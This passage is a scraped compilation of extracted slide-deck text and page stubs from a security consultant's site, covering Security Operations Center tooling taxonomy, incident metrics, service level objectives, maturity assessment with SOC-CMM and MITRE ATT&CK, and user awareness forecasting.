buzzy marketing word) and quite effective #RSAC SOC Technology Deployment Location –decide on centralized or distributed tooling –Perhaps a follow the sun model for Global organizations –May need multiple instances of the tools Federation –can the IT teams use the SOC tools? –My preference is generally yes, with monitoring for insider abuse –Also, SOC should consider IT systems for potential Security application Outsourcing Technology Administration –MSSP provides and manages your security tools? You use them for analysis/response –My opinion: this is the trend now and more in the future #RSAC #RSACGreat –How Do I Use This Taxonomy? #RSAC Hunt Your Own Tools If you’re not hunting, you’re not SOC’ing –Use Case Development is necessary; Hunting is necessary –I (and others) have many talks on Use Case & Hunting q=Crowley+SOC+Youtube A consistent hunt should be your own technology –Leads to more rigor in managing your tools, posture improvement recommendations, SOC analyst awareness & training needs identification –After running this SOC tool hunt with nothing new to find, go after IT technology to discover shadow IT #RSAC Taxonomy Basis for Purchasing Use SOC-Class taxonomy (or your forked version) or another taxonomy to justify technology purchases You can prioritize based on –Efficiency: a tool (an updated tool) would do __ blank__ more quickly and accurately than we can do currently –Detection opportunities: (MITRE ATT&CK term) Perform a defensive gap analysis identify deficiencies to address with technology offerings MITRE ATT&CK Evaluations cite tool effectiveness against specific threats –Completion: using this taxonomy, identify the things you don’t have, and strive for having all technology identified herein #RSAC Implementation Going forward, buy tools with a deployment plan There are so many awesome tools, and a global scourge of partially deployed tools or unintegrated deployments This taxonomy is intended to help you to establish your strategic vision for technology deployment #RSAC #RSACConclusion Tweet thoughts / opinions to: @CCrowMontance #RSAC Action Items 57 Immediate: consider the taxonomy I present and critique, enhance, refine, and extend it for general reference (not just your SOC) Upon returning to work: cross-walk the taxonomy I propose with technologies you deploy in your (Cyber) Security Operations Center Assess:identify shortcomings in your technology portfolio Plan:use threat informed guidance (such as MITRE ATT&CK) to propose technology enhancement priorities for your SOC Implement: acquire and implement the right tools for you --- ## Source: https://montance.com/questions.php?id=154 [![pdf](content/images/icons/pdf.svg) SOC Architecture Maturity Failures OhMyHack](https://drive.google.com/file/d/1jjBVmfg-fHrbETuNlS-fxSnnHtkk6i8C/view?usp=drive_link) SOC Architecture Maturity Failures Presentation by Christopher Crowley (2021-05) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for SOC Architecture Maturity Failures ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1jjBVmfg-fHrbETuNlS-fxSnnHtkk6i8C/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1jjBVmfg-fHrbETuNlS-fxSnnHtkk6i8C/view?usp=drive_link]** SOC Class Excerpt The Appropriate Use of Metrics and Maturity: Practical, Tactical ExamplesEdition: 2020 -10-CSA © 2020 Christopher Crowley | All Rights Reserved Copyright Chri stopher Crowley Security Operations 2 About This Slide Deck •I’ll cherry pick what I speak to, the rest is there for you to review later, included for view of completion of vision •https://mgt517.com/soc for this and many other talks (redirects to google drive) •My other websites: https://montance.com https://soc -class.com https://soc -survey.com …Way too Much of Thirty Minutes Copyright Chri stopher Crowley Security Operations 3 Functional Areas of a SOC SOC -Class Model Copyright Chri stopher Crowley Security Operations 4 Statement of Success: The Guiding Principal Copyright Chri stopher Crowley Security Operations 5 What Is Success for an SOC? •Is success defined as zero incidents detected? It is easy, but not helpful, to fail to find compromises •Security Operations success is defined as: minimizing damage from threats to the organization’s operations •Detecting isn’t good enough •Preventing isn’t feasible •We succeed by minimizing damage from threatsDefine Success Carefully Copyright Chri stopher Crowley Security Operations 6 What Is Success for an SOC? SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability.Statement of Success Copyright Chri stopher Crowley Security Operations 7 Perversion Through Metrics •If an analyst is judged (baseball card / analyst judgement coming later) on metrics that encourage bad behavior, the analyst will be driven to that behavior •Incident count is a good example of this. More or fewer incidents handled isn’t necessarily advancing successWhat Behavior Does the Metric Reinforce? Copyright Chri stopher Crowley Security Operations 8 Impact Copyright Chri stopher Crowley Security Operations 9 Impact Definition •Few systems (or only a specific type) •Unimportant systems •Unimportant data Low •More systems (or many types, or a common type) •Important or high value person’s, account, or system •Important data at risk Moderate •Most systems (or almost all types) •Highest level accounts, users, and systems •Business critical data HighIncident Impact LevelsSteering Committee Copyright Chri stopher Crowley Security Operations 10 Impact Definition •Low – minimal function disruption •Moderate –substantial disruption •High –complete disruptionFunctional •Intellectual Property (L/M/H) •Integrity Manipulation (L/M/H) •Privacy violated (such as PII / PHI)Informational •Regular – predictable using resources on hand •Supplemented –predictable with augmented resources •Unrecoverable –data breach which cannot be undoneRecoverableIncident Impact Categories (simplified US -CERT)Steering Committee Copyright Chri stopher Crowley Security Operations 11 Incident Impact Quantification Charts •The chart on the next page is something I created to articulate impact •This is both for during (status) and after (final report) of an incident •Produces a quantitative impact scale (3 -300) •I’m going to show a stepwise build up •Then an incident impact viewTakes a lot of Work Copyright Chri stopher Crowley Security Operations 12 Impact Quantification Incident Impact QuantificationSteering Committee Legacy System #8 -Accounts Payable - Check Writing •Start with a list of systems •For each system will define a quantity for impact •The quantities are relative to all the systems in the organization•Start with broad containers (workstations and servers) then develop more specifics (domain controllers, DNS servers, accounts receivable, web commerce system, …) Copyright Chri stopher Crowley Security Operations 13 Impact Quantification Incident Impact Quantification ExampleSteering Committee Legacy System #8 -Accounts Payable - Check Writing For levels low, moderate, high: assign point values (1 - 10) for the system relative to other systems 3 5 9 Low Moderate High Functional Informational Recoverable Pro-tip: Start with 3,5,9 as generic default for all, and adjust from there Copyright Chri stopher Crowley Security Operations 14 3 5 9 Low Moderate High 5Functional 7Informational 9RecoverableImpact Quantification Incident Impact Quantification ExampleSteering Committee Repeat (1 -10)for impact to mission of this system: functional, informational, and recovery difficulty Pro-tip: Start with 5,7,9 as default then adjust on a per system basis Copyright Chri stopher Crowley Security Operations 15 Impact Quantification 3 5 9 Low Moderate High 5Functional 15 25 45 7Informational 21 35 63 9Recoverable 27 45 81 Math is Magic!Steering Committee Legacy System #8 -Accounts Payable - Check Writing Color coding shifts because overall scale is now 3 - 81 Copyright Chri stopher Crowley Security Operations 16 Incident Impact Quantification Charts •SOC staff and Steering Committee informed of and trained on meanings of •Low, Moderate, High •Functional, Information and Recoverable •There should be guidance written, examples provided, specific examplesGuidance for Impact Assessment Copyright Chri stopher Crowley Security Operations 17 Impact Quantification 3 5 9 Low Moderate High 5Functional 15 25 45 7Informational 21 35 63 9Recoverable 27 45 81 Incident Impact Quantification Example of an IncidentSteering Committee Current Incident 73 Legacy System #8 -Accounts Payable - Check Writing 25+21+27Org’s defined system valueOrg’s defined impact value Copyright Chri stopher Crowley Security Operations 18 Risk Management Support Functions •The risk decisions need to be shared with the SOC, and the SOC needs to provide situational awareness about the change of the risk to the systems •Change in threats or vulnerabilities •My preferred way to discuss risk is using the metonymy of Alex Honnold Copyright Chri stopher Crowley Security Operations 19 Risk Management Support Functions •I read about Alex Honnold in 2013, about five years after his ascents of Moonlight Buttress and Half Dome •He takes life -or-death risks regularly, and has achieved celebrity status among the non -climbing population as a result, The movie Free Solo is probably the most popular •His approach is that of refining practice on specific routes until he’s certain that he can take the risk “For every hard pitch I’ve soloed I’ve probably soloed a hundred easy pitches”Alex Honnold Copyright Chri stopher Crowley Security Operations 20 Metrics: Data Collection Copyright Chri stopher Crowley Security Operations 21 Data to Be Collected SOC Data •All data regarding performance of the SOC is potentially valuable for assessing SOC performance •Metric data should not take additional work to collect •Turning every action of your analysts into a time -based metric may have counter -productive implications, encouraging fast over quality performance •Have at least one metric of quality for each instance of a metric of time with respect to analyst performanceData Collection: Free and Easy Copyright Chri stopher Crowley Security Operations 22 Data to Be Collected SOC Data •Ticketing system data is of interest and should be collected •All employee hours should be tracked as well as associated hourly rates for SOC and any employee involved in SO •If the incident was reopened, or is truly new •All software and hardware capital and support expenditures •Vulnerabilities and misconfigurations associated with issues •The time any action was initiated, and the time completedData - Sources Copyright Chri stopher Crowley Security Operations 23 Data to Be Collected SOC Data •Use vocabulary for event recording and incident sharing (VERIS) if you don’t already have a schema •Industry standard reference model veriscommunity.net, also hosted on github , developed to support the Verizon DBIR •Use your existing ticketing system schema as a start, and cross -walk it to VERIS, many already use VERIS as the schema for security incident informationData - Methodology Copyright Chri stopher Crowley Security Operations 24 Metrics: Appropriate Audience Copyright Chri stopher Crowley Security Operations 25 Metric Types Metrics •External scope are reported metrics to management / Steering Committee (SC) / Board •Service Level Objective (SLOs) with constituents for performance capability (implies reporting) •Internal scope are used for SOC self -assessment •A suggested scope is given for metrics discussedWho receives the metrics? Copyright Chri stopher Crowley Security Operations 26 Metrics: Reported Copyright Chri stopher Crowley Security Operations 27 Measurement and Metrics SC Reported Metrics •Requires forensic evidence to substantiate when the compromise initially occurred •Measures difference between initial detection and time of the incident – should be minimal •Largely measures MON , with correlating measurement of IR, TI, and Forensics. Existence of vulnerable systems measures self -assessment success.Time to detection (best) Copyright Chri stopher Crowley Security Operations 28 Measurement and Metrics SC Reported Metrics •The time difference between when we first detected the compromise and when we interrupted the adversary capability •Note: in “watch and learn” response, there is control of what the attacker can do. Deciding to allow certain actions and thwart others counts as containment •Saying you’re “watch and learn” and suffering unexpected impact can’t be counted as containment •Primarily measures IRTime to containment from detection (best) Copyright Chri stopher Crowley Security Operations 29 Measurement and Metrics SC Reported Metrics •“dwell time” is intrusion time to eradication •How long were they in before we got them out? •Measures the critical path of the incident •Measures IR, Forensics , and Threat Intel •It should be noted that some might be inclined to declare eradication prematurely. This is caught by a quality metric: Insufficient EradicationTime from identification to eradication (best) Copyright Chri stopher Crowley Security Operations 30 Measurement and Metrics SC Reported Metrics •Date and time of identification, based on first NIDS alert analyst correlated February 12, 2016 12:17:51 -0000 •Date and time of eradication, based on IR team closure: July 24, 2016 at 3:45:58 PM •163 days, 3 hours, 28 minutes, 7 seconds (163*86400)+(3*3600)+(60*28)+7 = 14,095,687 secondsExample: Time identification to eradication Copyright Chri stopher Crowley Security Operations 31 Measurement and Metrics SC Reported Metrics •The Veris framework is the basis of the Verizon Data Breach Investigation Report (DBIR) •Veris has “Discovery Method” enumerated list in its schema •You should use the full schema for data collection •Report the Discovery method •Measures MON, TI, and IRMethod of detection (best) Copyright Chri stopher Crowley Security Operations 32 Measurement and Metrics SC Reported Metrics •Cost of the incident •Cost includes loss and handling costs •Optionally, separate into two groups for two distinct metrics •Having thousands of incidents managed at relatively low cost per incident is a great SOC •Incident cost as a percentage of revenue would allow comparison to other SOCs •Measures SOC overall, but can provide perverse incentiveMonetary cost per incident Copyright Chri stopher Crowley Security Operations 33 Measurement and Metrics SC Reported Metrics •Sub-category of loss from an incident •This is reported because it demonstrates a specific type of loss to the business •Calculate: hourly wages times number of hours of lost productivity •Measures SOC as a wholeEmployee and IT downtime per incident Copyright Chri stopher Crowley Security Operations 34 Measurement and Metrics SC Reported Metrics •Cost savings for containment •Based on loss from incidents of similar nature which were not contained, show all contained incidents and associated loss prevention (only a speculation) •Measures the SOC overallLoss prevention by SOC Copyright Chri stopher Crowley Security Operations 35 Measurement and Metrics SC Reported Metrics •Number of incidents which were said to be eradicated but were not •Eradicated is a status that the incident achieves. If it reaches that, then needs to be addressed again the SOC isn’t performing optimally. (Zero is best.) •Measures IR and ForensicsInsufficient Eradication Copyright Chri stopher Crowley Security Operations 36 Measurement and Metrics SC Reported Metrics •On a scale of 1,2,3, was it avoidable? •1 - a measure, already available in the environment wasn’t applied and resulted in the incident •2 - a measure is available in the larger environment and something (economic, political) prevents implementing it within the organization •3 - nothing is available to prevent that method of attack •Discrete scale: only choices 1,2,or 3. There’s no 2.6 or 1.7. •Largely measures Self -AssessmentCrowley Incident Avoidability – 1,2,3 Copyright Chri stopher Crowley Security Operations 37 Measurement and Metrics SC Reported Metrics •This is a binary check per issue •Threat Intelligence has a known, tracked threat actor associated for each issue encountered •Threat intelligence doing a great job, they’re already familiar with everything you encounter •Measures Threat Intelligence (best)Threat Actor Attribution percentage Copyright Chri stopher Crowley Security Operations 38 Metrics: Service Level Objectives Copyright Chri stopher Crowley Security Operations 39 Service Level Objective SLO •Your service level objectives dictate the performance levels required to perform on behalf of the organization’s requirements •If you’re not able to meet SLOs, look for optimizations that favor the shortest path to accomplish the objective •Optimizations unavailable? Seek additional resources •SLO: presumption of no monetary penalty of failureYour Contract with the Business Copyright Chri stopher Crowley Security Operations 40 Service Level Objective SLO •Minimal time to initiate investigation •Tiered based on reported priority and some definition of criticality level •Critical – 60 minutes •Moderate – 4 Hours •Low – 24 hoursInitiate Investigation from Report/Alert Copyright Chri stopher Crowley Security Operations 41 Service Level Objective SLO •Status information will be delivered to the affected Business Unit at a specified frequency •Initial notification within 1 hour of suspected impact to BU’s resources •Minimum of daily updates •Vulnerability scanning and pen test information? •Threat intelligence for targeting of BU systems?Reporting to Affected Business Unit Copyright Chri stopher Crowley Security Operations 42 Service Level Objective SLO •Initiating responsive actions in 60 minutes to 48 hours once the issue is known •I wouldn’t want to wait 48 hours for incident response, either. •Is staff available to respond to incidents discovered on Saturday at 8 am?Initiate Response Action Copyright Chri stopher Crowley Security Operations 43 Service Level Objective SLO •Given detection of an incident of some form, how quickly can forensic analysis be performed, so that indicators are developed, and the entire organization be checked to determine if the issue is present anywhere else in the organization? •Any SOC that can say they consistently do this within a week is world classSweep Enterprise Copyright Chri stopher Crowley Security Operations 44 Service Level Objective SLO •Containing a compromise within a specified timeframe is a challenging SLO to offer •Containment implies determining scope of impact (previous SLO of “Sweep Enterprise”) •Adversaries work diligently to evade at least some of our detection, and are effective at it •Regardless, this is an important SLO. How fast should I be able to contain issues?Contain Compromise Copyright Chri stopher Crowley Security Operations 45 Service Level Objective SLO •The service you provide to the organization of security operations means that the same problem will not cause the same level of impact on a going forward basis •Demonstrating enhanced operations based on past failure is an important customer facing delivery •Repeated compromise method should be detected 10% faster with each occurrence •Admittedly ambitiousDetect Repeated Compromise Copyright Chri stopher Crowley Security Operations 46 Metrics: SOC Internal Health and Performance Copyright Chri stopher Crowley Security Operations 47 Measurement and Metrics Internal Metrics •The following metrics are to track within the SOC, but aren’t reported to the steering committee •They’re primarily for internal performance rather than reporting •Of course, some of these might be appropriate to report in your environmentInternal Metrics Copyright Chri stopher Crowley Security Operations 48 Measurement and Metrics Internal Metrics •Missing data from presumed covered systems •Number and percentage of coverage •Kill Chain / ATT&CK •Layer of stack •OS of device •Data feed health (image)Coverage Copyright Chri stopher Crowley Security Operations 49 Measurement and Metrics Internal Metrics •Each analyst is assessed on same measures •Carson Zimmerman’s 2018 SOC Summit Keynote has a good baseball cardBaseball Card Analyst Baseball Card Christopher Crowley Name Chris Preferred first name TwoGuns Callsign 2015-11-17 Join Date NSM Analyst - Senior Current Role 1 year, 1 month Time in Role 38 Alerts Triaged in last 30 days 91.40% Percent True Positive Rate 82.70% Response rate percent for customer escalation 19 Escalated cases handled in last 30 days 1:34 Mean time to close case 7 Number analytics created currently in production 28 Number detection modified currently in production 423 Total lines committed to SOC code repository in last 90 days 91.40% Success rate of queries against SIEM in last 30 days 0:09 Median run time per query 0.23 Mean lexical structure similarity in queries run in last 30 days Copyright Chri stopher Crowley Security Operations 50 Measurement and Metrics Internal Metrics •Time to response initiation •There may be several factors which prevent starting the response activity •The initial report is not characterized correctly as a security incident •Resources are not available to respond •Largely measures IR, but also Command Center •Objective in the near term Time from report to response initiation Copyright Chri stopher Crowley Security Operations 51 Measurement and Metrics Internal Metrics •Once the team starts work, how long does it take to complete the tasks of containment? •Containment is preventing the adversary from further action •Largely measures IR, but also Command Center and Forensics •Objective in the near term, as well as improvement on similar scenariosTime of response initiation to containment Copyright Chri stopher Crowley Security Operations 52 Measurement and Metrics Internal Metrics •How long does the incident take from start to finish? •Largely measures SOC •Objective in the near term, as well as improvement on similar scenariosTotal duration of each incident Copyright Chri stopher Crowley Security Operations 53 Measurement and Metrics Internal Metrics •This can be misleading •How many incidents did we handle last month? •10 – the impression is that the defense is doing a great job •1,000 – the impression is that the defense is terrible •The reality is that handling more incidents means you’re doing a better job at detection •Measures SOC as a wholeNumber of incidents handled Copyright Chri stopher Crowley Security Operations 54 Measurement and Metrics Internal Metrics •As we move through our process, some tasks take longer than others •Measure the time per each step, and the time between ending one step and starting the next •This will show you the “expensive” steps in your process, and where resources might be needed because staff are busy •Measures SOC as a whole Latency per escalation step Copyright Chri stopher Crowley Security Operations 55 Measurement and Metrics Internal Metrics •Number of incidents resulting in legal action of some form •This is for legal action taken by the law enforcement (LE) community against external actors •Also for internal actors •Informational, not in your controlIncident percentage resulting in legal action Copyright Chri stopher Crowley Security Operations 56 Measurement and Metrics Internal Metrics •How many users were affected who actually noticed they were affected? •Our detection resources are minimal, getting help from astute users is part of our detection strategy •Track how many users report an incident •Try to drive that number higher •Informational, not directly controllableNumber of complaints per incident Copyright Chri stopher Crowley Security Operations 57 Measurement and Metrics Internal Metrics •Zimmerman / Crowley talk: https:// mgt517.com/first -metrics •Mostly covered in this material, some more ideas there as wellMore Ideas Copyright Chri stopher Crowley Security Operations 58 Maturity: Introduction Copyright Chri stopher Crowley Security Operations 59 The Only Constant Is Change Maturity •The SOC operates in a high degree of uncertainty – like business financial environment •Uncertainty creates stress •A small amount of stress is motivating, too much is debilitating •Embrace this culturally – there’s no right answer •There is data, there is analysis, there will be frequent failureUncertainty Copyright Chri stopher Crowley Security Operations 60 Maturity: SOC -CMM Walkthrough Copyright Chri stopher Crowley Security Operations 61 SOC CMM Maturity •SOC CMM is a project intended to define an audit standard for SOCs against an objective measure of maturity •soc-cmm.comSOC CMM Copyright Chri stopher Crowley Security Operations 62 SOC CMM Maturity •Let’s take a quick guided tour of some of the items that are assessed by SOC CMM •An audit like this would cost $$$, this project lowers the cost for everyoneSOC CMM Domain Aspect Maturity Score Maturity Target Capability score Capability target In scope? Business 1. Business Drivers 2. Customers 3. Charter 4. Governance 5. Privacy overall Business People 1. Employees 2. Roles and Hierarchy 3. People Management 4. Knowledge Management 5. Training and Education overall People Process 1. Management 2. Operations and Facilities 3. Reporting 4. Use Case Management overall Process Technology 1. SIEM tooling Yes 2. IDPS tooling Yes 3. Security Analytics tooling Yes 4. Automation & Orchestration tooling Yes overall Technology Services 1. Security Monitoring Yes 2. Security Incident Management Yes 3. Security Analysis & Forensics Yes 4. Threat Intelligence Yes 5. Threat Hunting Yes 6. Vulnerability Management Yes 7. Log Management Yes overall Services 33N/A 1.16 0.873 0.83 30.62 0.95 0.56 0.5 0.6 1.671.3 0.66 0.59 1.563 0.38 0.21 0.190.1 0.94 1.75 2.17 1.5 2.50.94 1.41 1.31 0.75 1.06 1.25N/A 0.753 N/A N/A 1.531 1.09 1.39 1.83 2.32N/A N/A 3 1.54 1.021.75 1.46 2.5 1.25 2.5 1.89 Copyright Chri stopher Crowley Security Operations 63 SOC CMM Maturity •A navigation index is present, but the best approach is to use the upper corner navigation to step through step by step. Each category (General, Business, People, Process, Technology, and Services) has multiple sections and many questions per sectionDetailed Walkthrough Copyright Chri stopher Crowley Security Operations 64 SOC CMM Maturity •Customer / constituent identification is addressed •Change this to suit your organization’s constituentsDetailed Walkthrough: Business Customers Answer Importance 2.1 Have you identified the SOC customers? 2.2 Please specify your customers: 2.2.1 Legal 2.2.2 Audit 2.2.3 Engineering / R&D 2.2.4 IT 2.2.5 Business 2.2.6 External customers 2.2.7 (Senior) Management 2.2.8 Other customers: 2.3 Have you documented the main SOC customers? 2.4 Do you differentiate output towards these specific customers?1. Business Drivers 5. PrivacyBusiness 2. Customers 3. Charter 4. Governance Copyright Chri stopher Crowley Security Operations 65 SOC CMM Maturity •Technology is split into SIEM, IDPS, Analytics, and Automation / Orchestration •Extensive question list to assess maturityDetailed Walkthrough: Technology Security Analytics Tooling 3.1 Accountability 3.1.1 Has functional ownership of the solution been formally assigned? 3.1.2 Has technical ownership of the solution been formally assigned? 3.2 Documentation 3.2.1 Has the solution been technically described? 3.2.2 Has the solution been functionally described? 3.3 Personnel & support 3.3.1 Is there dedicated personnel for support? 3.3.2 Is the personnel for support formally trained? 3.3.3 Is the personnel for support certified? 3.3.4 Is there a support contract for the solution? 3.4 Availability & Integrity 3.4.1 Is there high availability (HA) in place for the solution? 3.4.2 Is there data backup / replication in place for the solution? 3.4.3 Is there configuration backup / replication in place for the solution? 3.4.4 Is there a Disaster Recovery plan in place for this solution? 3.4.5 Is there a separate development / test environment for this solution? 3.5 Confidentiality 3.5.1 Is access to the solution limited to authorized personnel?3. Security Analytics toolingTechnology 1. SIEM tooling 2. IDPS tooling 4. Automation & Orchestration tooling Copyright Chri stopher Crowley Security Operations 66 SOC CMM Maturity •There are multiple categories (General, Business, People, Process, Technology, and Services) with hundreds of questions for you to check to see if you are as mature as needed by the organization https://soc -cmm.comDetailed Walkthrough Security Incident Management Maturity 2.1 Have you adopted a maturity assessment methodology for Security Incident Management? 2.1.1 If yes, please specify the methodology 2.1.2 If yes, please specify the maturity level (can have up to 2 digits) If yes, skip directly to 2.7 2.2 Have you adopted a standard for the Security Incident Management process? 2.3 Have you formally described the security incident management process? 2.4 Please specify elements of the security incident management document: 2.4.1 Security incident definition 2.4.2 Service levels 2.4.3 WorkflowServices 7. Log Management2. Security Incident Management1. Security Monitoring 3. Security Analysis & Forensics 4. Threat Intelligence5. Threat Hunting 6. Vulnerability Management Copyright Chri stopher Crowley Security Operations 67 Maturity Another Way: MITRE ATT&CK: Anatomy Copyright Chri stopher Crowley Security Operations 68 ATT&CK for Maturity Maturity: ATT&CK •Another commonly discussed maturity assessment methodology is the ATT&CK framework •ATT&CK paper cites maturity assessment as one use •We discussed ATT&CK in the context of hunting •A quick recap for the discussion of ATT&CK as a maturity assessment tool and driverIntroductory Information Copyright Chri stopher Crowley Security Operations 69 ATT&CK Anatomy Maturity: ATT&CK •Matrices – Visualization of relationships •Technology Domains – constraints of adversary capability based on limitations of technology •Tactics – reason for performing an action •Techniques – how adversary works •Groups – known threat actors grouped on observed artifacts reported publicly (limited information) •Software – tools, utility, malwareDefined Anatomy Copyright Chri stopher Crowley Security Operations 70 ATT&CK Anatomy Maturity: ATT&CK Relationships Copyright Chri stopher Crowley Security Operations 71 Related Terminology Maturity: ATT&CK •Indicator of Compromise (IOC): specific trait of malicious activity •ATT&CK considers its Behavioral Analytics Development an upgrade from IoCs that moves away from specific details of software and moves toward techniques an adversary must use or implement to accomplish a tactic •Tactics, Techniques, Procedures (TTPs): industry name for all encompassing descriptors of adversary capability and behavior. ATT&CK is a framework to enumerate and communicate TTPs, with the added capability to articulate what can be done to detect and interfere (degrade, disrupt, deceive,…) with the TTPs in OSesIOC & TTP Copyright Chri stopher Crowley Security Operations 72 Use ATT&CK Maturity: ATT&CK •Attempt to enumerate attacker capabilities •Matrices of attacker capabilities at various phases •Reference of collected intelligence for defined uses (per MITRE list) or your organizational agendaTechnique Matrices Copyright Chri stopher Crowley Security Operations 73 ATT&CK Anatomy Maturity: ATT&CK •PRE -ATT&CK – prior to exploit •CAPEC - Common Attack Pattern Enumeration and Classification •MAEC - Malware Attribute Enumeration and Characterization •CWE – Common Weakness Enumeration •Implementations •Navigator – GitHub helper to move through the info •CALDERA – adversary emulation •CASCADE – orchestration and automation of defense work •CAR – knowledge base of analytics (detection opportunities) based in ATT&CKMITRE Related Projects and Implementations Copyright Chri stopher Crowley Security Operations 74 Maturity: MITRE ATT&CK Copyright Chri stopher Crowley Security Operations 75 Why Use MITRE ATT&CK Maturity: ATT&CK •With an extensive collection of data to support the effort, positioned as the authority on the subject •Not a specific standard, doesn’t interfere with application of defensive requirements •Provides a way to bridge between the things that makes sense to analysts and the sometimes ambiguous or non -specific requirements expressed in regulations and industry requirementsAuthoritative Public Collection of Abstract Intelligence from Reported 75 Copyright Chri stopher Crowley Security Operations 76 MITRE ATT&CK Intention Maturity: ATT&CK •Adversary Emulation •Red Teaming •Behavioral Analytics Development •Defensive Gap Analysis •SOC Maturity Assessment •Cyber Threat Intelligence EnrichmentMITRE ATT&CK Defined Uses 76 Copyright Chri stopher Crowley Security Operations 77 MITRE ATT&CK Intention Maturity: ATT&CK •“ATT&CK can be used as one measurement to determine how effective a SOC is at detecting, analyzing, and responding to intrusions. Similar to the defensive gap assessment, a SOC Maturity assessment focuses on the processes a SOC uses to detect, understand, and respond to changing threats to their network over time.”MITRE ATT&CK Defined Use: SOC Maturity Assessment 77 Copyright Chri stopher Crowley Security Operations 78 MITRE ATT&CK Maturity: ATT&CK •MITRE suggests ATT&CK framework use to identify the coverage aspect of the defensive posture through “Defensive Gap Analysis” •Blue – High Confidence •Yellow – Med Confidence •Orange – Low & no planDefensive GAP Analysis Copyright Chri stopher Crowley Security Operations 79 MITRE ATT&CK Intention Maturity: ATT&CK •Lessons Learned Applying ATT&CK -Based SOC Assessments2019 SANS SOC Summit ATT&CK Maturity Talk: Andy Applebaum 79 •Assumes a “third party” external assessment, but can be self-assessed. Takes 1 -2 months •Inputs: survey, documentation, & interviews. Doc review only •Artifacts: detection heatmap, prioritization plan of TTPs Copyright Chri stopher Crowley Security Operations 80 Want to Hear More? Copyright Chri stopher Crowley Security Operations 81 Measurement, Metrics, and More… •This and many other talks: https://mgt517.com/soc https://mgt517.com/youtube •https://soc -class.com •Please take the SOC Survey! https://soc -survey.com (redirects to a Google Form)PDFs, PPTs, Videos, … --- ## Source: https://montance.com/questions.php?id=152 [![pdf](content/images/icons/pdf.svg) Chris Crowley - 2020 Security Operations Center Survey Results](https://www.gula.tech/blog/gtfc3) 2020 SOC Survey Results Presentation by Ron Gula & Christopher Crowley (2021-01-14) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for 2020 SOC Survey Results ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=151 [![pdf](content/images/icons/pdf.svg) STH Metrics SOC User Awareness](https://drive.google.com/file/d/13AXj03Vb0LUnGQ3Mw4twZPEE_m7ZMuHB/view?usp=drive_link) STH Metrics SOC User Awareness Presentation by Christopher Crowley (2020-12-03) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for STH Metrics SOC User Awareness ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/13AXj03Vb0LUnGQ3Mw4twZPEE_m7ZMuHB/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/13AXj03Vb0LUnGQ3Mw4twZPEE_m7ZMuHB/view?usp=drive_link]** SOC-Class Using Security Operations Center Metrics to Develop Awareness ProgramsEdition: 2020-12-STH © 2020 Christopher Crowley | All Rights Reserved Copyright Christopher Crowley Security Operations 2 My Objectives SOC-Class Model •I am trying to encourage three things herein: all are intended to improve your cyber defensive posture 1. You to verify and improve metrics (and all reporting) from your SOC to your organization 2. You develop data centric messaging suitable for delivery to employees and customers 3. You help the organization understand what the SOC can do: gracefully minimize damage in uncertaintyMultiple Benefits Copyright Christopher Crowley Security Operations 3 Starting Point: SOC-Class Functional Areas Copyright Christopher Crowley Security Operations 4 Functional Areas of a SOC SOC-Class Model Security Awareness Security Awareness Copyright Christopher Crowley Security Operations 5 Metrics: Appropriate Audience Copyright Christopher Crowley Security Operations 6 Metric Types Metrics •External scope are reported metrics to management / Steering Committee (SC) / Board •Service Level Objective (SLOs) with constituents for performance capability (implies reporting) •Internal scope are used for SOC self-assessment •User messaging: employees (maybe tailored based on role and risk) and customers (maybe tailored)Who receives the metrics? Copyright Christopher Crowley Security Operations 7 User Messaging Copyright Christopher Crowley Security Operations 8 Metrics Aren’t Good for Users Cyber Forecast •Individuals need forecasting and metrics •Employees and Customers would be most benefit by a forecast based in recent data •Precipitation = ???; Temperature = ??? •I don’t have these exact parallels, but your SOC probably has some data you could use to forecastAn End User Needs Forecasting and Metrics wunderground.com 10 day forecast Copyright Christopher Crowley Security Operations 9 Forecasting Team SOC-Class Model Copyright Christopher Crowley Security Operations 10 Cyber Forecast: Intel + Incidents Metrics Personal Banking Theft targeting mobile and SMS MOBILE APP: COVID “contact tracing” apps FRAUD WARNING: School Related “Mailing Lists” Corporate PHISH: Fake VPN account collection: work from home scam FRAUD WARNING: 1,400 Stolen Data Records Updated Cryptolocker Observed General Phishing (still…) Competitive Recon on Project X Stock Split Probing Observed LinkedIn Personnel Recon and Job OffersForecast Might Be Imprecise at First Threat Landscape No newly identified threat groups Ongoing Phishing and Social manipulation waves at sustained levels Self-Assessment IT Teams continue to be challenged with staffing shortages, cloud migrations, and personally owned devices introducing risk Severe Weather None forecast Copyright Christopher Crowley Security Operations 11 Bi-Directional Flow of Information: User Awareness Training Copyright Christopher Crowley Security Operations 12 User Awareness Training SOC Training •In addition to working on forecasting reports for people •Bring stories into the SOC about people who the SOC works to protect, because the SOC often loses visibility •Use Cases / Hunting is how I discuss engineered and ad hoc detection development (see my youtubefor video) •Hunts I encourage •Hunting our organization’s systems in open source information •Identifying people responsible for systems •Identify value of systems to organization (more on this in a few slides) •Check if these are done, and help remind that the information systems to defend are: computers, data, networks, people, and processesAs in, Make the SOC Aware of the Information System Users Copyright Christopher Crowley Security Operations 13 SOC Statement of Success: The Guiding Principal Copyright Christopher Crowley Security Operations 14 What Is Success for an SOC? •Is success defined as zero incidents detected? It is easy, but not helpful, to fail to find compromises •Security Operations success is defined as: minimizing damage from threats to the organization’s operations •Detecting isn’t good enough •Preventing isn’t feasible •We succeed by minimizing damage from 